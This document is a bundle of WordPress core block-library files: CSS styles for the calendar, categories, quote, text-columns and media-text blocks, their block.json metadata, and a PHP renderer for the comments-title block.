.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/categories",
	"title": "Categories List",
	"category": "widgets",
	"description": "Display a list of all categories.",
	"textdomain": "default",
	"attributes": {
		"displayAsDropdown": {
			"type": "boolean",
			"default": false
		},
		"showHierarchy": {
			"type": "boolean",
			"default": false
		},
		"showPostCounts": {
			"type": "boolean",
			"default": false
		},
		"showOnlyTopLevel": {
			"type": "boolean",
			"default": false
		},
		"showEmpty": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-categories-editor",
	"style": "wp-block-categories"
}
.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories ul{
  padding-right:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories ul{
  padding-left:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/quote",
	"title": "Quote",
	"category": "text",
	"description": "Give quoted text visual emphasis. \"In quoting others, we cite ourselves.\" — Julio Cortázar",
	"keywords": [ "blockquote", "cite" ],
	"textdomain": "default",
	"attributes": {
		"value": {
			"type": "string",
			"source": "html",
			"selector": "blockquote",
			"multiline": "p",
			"default": "",
			"__experimentalRole": "content"
		},
		"citation": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "cite",
			"__experimentalRole": "content"
		},
		"align": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"html": false,
		"__experimentalOnEnter": true,
		"__experimentalOnMerge": true,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"layout": {
			"allowEditing": false
		},
		"spacing": {
			"blockGap": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "plain", "label": "Plain" }
	],
	"editorStyle": "wp-block-quote-editor",
	"style": "wp-block-quote"
}
.wp-block-quote{
  border-left:.25em solid;
  margin:0 0 1.75em;
  padding-left:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote.has-text-align-right{
  border-left:none;
  border-right:.25em solid;
  padding-left:0;
  padding-right:1em;
}
.wp-block-quote.has-text-align-center{
  border:none;
  padding-left:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{
  border:none;
}.wp-block-quote{
  border-right:.25em solid;
  margin:0 0 1.75em;
  padding-right:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote.has-text-align-right{
  border-left:.25em solid;
  border-right:none;
  padding-left:1em;
  padding-right:0;
}
.wp-block-quote.has-text-align-center{
  border:none;
  padding-right:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{
  border:none;
}.wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote.has-text-align-center{border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}.wp-block-quote{
  box-sizing:border-box;
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:right;
}
.wp-block-quote>cite{
  display:block;
}.wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}.wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:left}.wp-block-quote>cite{display:block}.wp-block-quote{
  box-sizing:border-box;
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:left;
}
.wp-block-quote>cite{
  display:block;
}<?php
/**
 * Server-side rendering of the `core/comments-title` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments-title` block on the server.
 *
 * @param array $attributes Block attributes.
 *
 * @return string Return the post comments title.
 */
function render_block_core_comments_title( $attributes ) {

	if ( post_password_required() ) {
		return;
	}

	$align_class_name    = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$show_post_title     = ! empty( $attributes['showPostTitle'] ) && $attributes['showPostTitle'];
	$show_comments_count = ! empty( $attributes['showCommentsCount'] ) && $attributes['showCommentsCount'];
	$wrapper_attributes  = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );
	$comments_count      = get_comments_number();
	/* translators: %s: Post title. */
	$post_title = sprintf( __( '&#8220;%s&#8221;' ), get_the_title() );
	$tag_name   = 'h2';
	if ( isset( $attributes['level'] ) ) {
		$tag_name = 'h' . $attributes['level'];
	}

	if ( '0' === $comments_count ) {
		return;
	}

	if ( $show_comments_count ) {
		if ( $show_post_title ) {
			if ( '1' === $comments_count ) {
				/* translators: %s: Post title. */
				$comments_title = sprintf( __( 'One response to %s' ), $post_title );
			} else {
				$comments_title = sprintf(
					/* translators: 1: Number of comments, 2: Post title. */
					_n(
						'%1$s response to %2$s',
						'%1$s responses to %2$s',
						$comments_count
					),
					number_format_i18n( $comments_count ),
					$post_title
				);
			}
		} elseif ( '1' === $comments_count ) {
			$comments_title = __( 'One response' );
		} else {
			$comments_title = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s response', '%s responses', $comments_count ),
				number_format_i18n( $comments_count )
			);
		}
	} elseif ( $show_post_title ) {
		if ( '1' === $comments_count ) {
			/* translators: %s: Post title. */
			$comments_title = sprintf( __( 'Response to %s' ), $post_title );
		} else {
			/* translators: %s: Post title. */
			$comments_title = sprintf( __( 'Responses to %s' ), $post_title );
		}
	} elseif ( '1' === $comments_count ) {
		$comments_title = __( 'Response' );
	} else {
		$comments_title = __( 'Responses' );
	}

	return sprintf(
		'<%1$s id="comments" %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$comments_title
	);
}

/**
 * Registers the `core/comments-title` block on the server.
 */
function register_block_core_comments_title() {
	register_block_type_from_metadata(
		__DIR__ . '/comments-title',
		array(
			'render_callback' => 'render_block_core_comments_title',
		)
	);
}

add_action( 'init', 'register_block_core_comments_title' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-terms",
	"title": "Post Terms",
	"category": "theme",
	"description": "Post terms.",
	"textdomain": "default",
	"attributes": {
		"term": {
			"type": "string"
		},
		"textAlign": {
			"type": "string"
		},
		"separator": {
			"type": "string",
			"default": ", "
		},
		"prefix": {
			"type": "string",
			"default": ""
		},
		"suffix": {
			"type": "string",
			"default": ""
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-post-terms"
}
.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-author-name",
	"title": "Author Name",
	"category": "theme",
	"description": "The author name.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"usesContext": [ "postType", "postId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/text-columns",
	"title": "Text Columns (deprecated)",
	"icon": "columns",
	"category": "design",
	"description": "This block is deprecated. Please use the Columns block instead.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "array",
			"source": "query",
			"selector": "p",
			"query": {
				"children": {
					"type": "string",
					"source": "html"
				}
			},
			"default": [ {}, {} ]
		},
		"columns": {
			"type": "number",
			"default": 2
		},
		"width": {
			"type": "string"
		}
	},
	"supports": {
		"inserter": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-text-columns-editor",
	"style": "wp-block-text-columns"
}
.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-left:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-right:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.33333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-right:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-left:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.33333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/media-text",
	"title": "Media & Text",
	"category": "media",
	"description": "Set media and words side-by-side for a richer layout.",
	"keywords": [ "image", "video" ],
	"textdomain": "default",
	"attributes": {
		"align": {
			"type": "string",
			"default": "none"
		},
		"mediaAlt": {
			"type": "string",
			"source": "attribute",
			"selector": "figure img",
			"attribute": "alt",
			"default": "",
			"__experimentalRole": "content"
		},
		"mediaPosition": {
			"type": "string",
			"default": "left"
		},
		"mediaId": {
			"type": "number",
			"__experimentalRole": "content"
		},
		"mediaUrl": {
			"type": "string",
			"source": "attribute",
			"selector": "figure video,figure img",
			"attribute": "src",
			"__experimentalRole": "content"
		},
		"mediaLink": {
			"type": "string"
		},
		"linkDestination": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "target"
		},
		"href": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "href",
			"__experimentalRole": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "rel"
		},
		"linkClass": {
			"type": "string",
			"source": "attribute",
			"selector": "figure a",
			"attribute": "class"
		},
		"mediaType": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"mediaWidth": {
			"type": "number",
			"default": 50
		},
		"mediaSizeSlug": {
			"type": "string"
		},
		"isStackedOnMobile": {
			"type": "boolean",
			"default": true
		},
		"verticalAlignment": {
			"type": "string"
		},
		"imageFill": {
			"type": "boolean"
		},
		"focalPoint": {
			"type": "object"
		},
		"allowedBlocks": {
			"type": "array"
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-media-text-editor",
	"style": "wp-block-media-text"
}
.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text .wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text .wp-block-media-text__content{
  direction:ltr;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}.wp-block-media-text{box-sizing:border-box;
  /*!rtl:begin:ignore*/direction:ltr;
  /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1;
  /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr;
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1;
  /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}.wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text .wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{
  align-self:center;
}

